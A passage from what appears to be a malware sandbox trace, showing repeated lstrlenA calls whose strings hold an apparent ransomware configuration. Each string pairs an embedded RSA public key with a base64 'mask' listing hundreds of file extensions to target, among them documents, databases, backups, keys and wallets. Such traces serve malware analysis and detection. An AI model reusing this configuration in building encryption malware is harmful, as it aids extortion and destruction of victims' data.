LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR